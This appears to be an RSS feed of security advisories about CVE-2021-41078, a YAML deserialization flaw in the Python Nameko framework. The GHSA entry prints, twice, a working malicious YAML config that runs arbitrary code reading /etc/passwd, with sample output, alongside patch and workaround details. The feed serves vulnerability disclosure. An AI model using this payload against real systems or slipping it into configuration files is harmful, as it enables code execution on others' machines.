<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 22 Oct 2026 15:13:48 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-31450</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-31450</link>
      <description>EUVD-2026-31450</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-31450</guid>
    </item>
    <item>
      <title>fkie_cve-2021-41078</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2021-41078</link>
      <description>&lt;p&gt;Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2021-41078</guid>
    </item>
    <item>
      <title>GHSA-6p52-jr3q-c94g — Nameko Arbitrary code execution due to YAML deserialization</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-6p52-jr3q-c94g</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nameko&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:&lt;/p&gt;
&lt;p&gt;``` yaml
# malicious.yaml
!!python/object/new:type
args: [&amp;#39;z&amp;#39;, !!python/tuple [], {&amp;#39;extend&amp;#39;: !!python/name:exec }]
listitems: &amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;cat /etc/passwd&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;``` shell
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.&lt;/p&gt;
&lt;p&gt;Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nameko&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:&lt;/p&gt;
&lt;p&gt;``` yaml
# malicious.yaml
!!python/object/new:type
args: [&amp;#39;z&amp;#39;, !!python/tuple [], {&amp;#39;extend&amp;#39;: !!python/name:exec }]
listitems: &amp;#34;__import__(&amp;#39;os&amp;#39;).system(&amp;#39;cat /etc/passwd&amp;#39;)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;``` shell
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.&lt;/p&gt;
&lt;p&gt;Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-6p52-jr3q-c94g</guid>
    </item>
    <item>
      <title>gsd-2021-41078</title>
      <link>https://cve.radiocsirt.org/vuln/gsd-2021-41078</link>
      <description>gsd-2021-41078</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/gsd-2021-41078</guid>
    </item>
    <item>
      <title>PYSEC-2021-383</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2021-383</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nameko&lt;/p&gt;
&lt;p&gt;Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: nameko&lt;/p&gt;
&lt;p&gt;Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2021-383</guid>
    </item>
  </channel>
</rss>
